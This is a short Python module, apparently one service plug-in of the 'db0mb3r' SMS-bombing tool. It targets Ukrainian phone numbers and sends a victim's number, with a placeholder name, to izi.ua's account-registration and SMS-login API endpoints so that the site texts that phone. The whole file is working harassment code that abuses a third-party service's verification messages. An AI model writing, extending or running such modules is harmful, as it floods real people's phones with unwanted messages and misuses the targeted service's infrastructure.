izi.py 515 B

1234567891011121314151617181920
  1. from db0mb3r.services.service import Service
  2. class IziUA(Service):
  3. phone_codes = [380]
  4. async def run(self):
  5. await self.post(
  6. "https://izi.ua/api/auth/register",
  7. json={
  8. "phone": "+" + self.formatted_phone,
  9. "name": self.russian_name,
  10. "is_terms_accepted": True,
  11. },
  12. )
  13. await self.post(
  14. "https://izi.ua/api/auth/sms-login",
  15. json={"phone": "+" + self.formatted_phone},
  16. )